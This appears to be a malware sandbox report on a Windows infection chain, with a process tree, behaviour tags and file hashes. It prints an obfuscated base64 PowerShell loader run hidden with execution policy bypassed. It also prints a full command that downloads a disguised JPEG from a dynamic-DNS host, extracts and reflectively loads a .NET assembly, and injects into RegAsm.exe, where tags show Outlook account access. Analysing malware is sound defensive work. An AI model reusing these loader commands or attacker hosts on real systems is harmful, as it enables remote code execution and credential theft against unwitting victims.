㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑r⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑dQBi⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑By⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑Ew⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑WwBT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑ZQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑XQ⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑RgBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBC⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBk⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bb⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑eQBz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑ZQBt⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bg⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQBd⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑OgBM⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑EI⫮ ≵ ₪ ㊎ ㆑eQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BB⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YgBs⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BU⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑JwBk⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑E8⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBl⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑7⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bt⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BN⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑VgBB⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑bwBr⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑L⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑bwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑WwBd⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑y⫮ ≵ ₪ ㊎ ㆑DE⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑3⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Dk⫮ ≵ ₪ ㊎ ㆑M⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑Mw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑DI⫮ ≵ ₪ ㊎ ㆑OQ⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑H⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑QQBz⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑dgBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑H0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑==';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⫮ ≵ ₪ ㊎ ㆑','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$link = 'http://servidorwindows.ddns.com.br/Files/vbs.jpeg'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('dnlib.IO.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.HSLF/121/741.901.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado')) } }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\prjovbxniagqxlhcefqls"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:984
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztphvuhpeiycarvgnpdfdqqo"5⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4876
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\cnczwesisqqhkfrswayhgulfjgi"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4720
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53ebba88045d3c326e606026c8d303313
SHA15ae1efd7971f053d41cd72de77dbccb102160149
SHA256b76d37f23c570263d214957deef474d0a0fdbc5194fd65d974584e6dc0600825
SHA512ebac584ab568b0bc808643e259651a94d0ace34f6928e5a3857f32ca94ddff77b6b53fa809e9726726f7636874037dccbc440716f40907232455eae5798da367
-
Filesize
1KB
MD5f2fab4a3c45525c8528e7be77311dce9
SHA10674003f93738e3f809d2b5c699d97cc6a8d7529
SHA25657f78c15fae798593904e78843c16fbf1d6370247d27812d1d13a852f9abbf23
SHA512b2081154b80fb4dda73a4b9c03159d5c5b39f488c2748cbbedd4d9afff62923268b46eee80edccbe2170a8d80059b2145b35caaa5e41db7c2a8bd424d7d1258b
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
144B
MD5107519ae76b8081a6a9423cf167fde1e
SHA108dbc36e58115773343995d7f8c191316ed78a20
SHA256ceb7d03d8aafaa22507be49160fef53b9ff5022ea0515cf75c14f9001c91e159
SHA5121af9d10040a805e334c6dcacdb50a964b3be8778d54d7a2410514c24ace99d485c61a7959808b1694632c88c687ac0c25a278f88abfd2859859cdf88f0d6b863
-
Filesize
4KB
MD5aeb1356a0857995e1a148e8d8d75685f
SHA1c1fd5f37ce9b0bc8ee2d0a4dc1be836287d42501
SHA256a3a528a52dac30a3c0bc66975a4e9dc3afab2f0addc48a4ef1f1fa8d7d17d910
SHA5125ee99d9262e4f024ba0cebb8732f1c81eaa5b4e40081da8aa8eb17697e73d04cc7af73a0bb1887fe8f3d903ba0079cdc66996561d281e53d16bee978fa33a0c2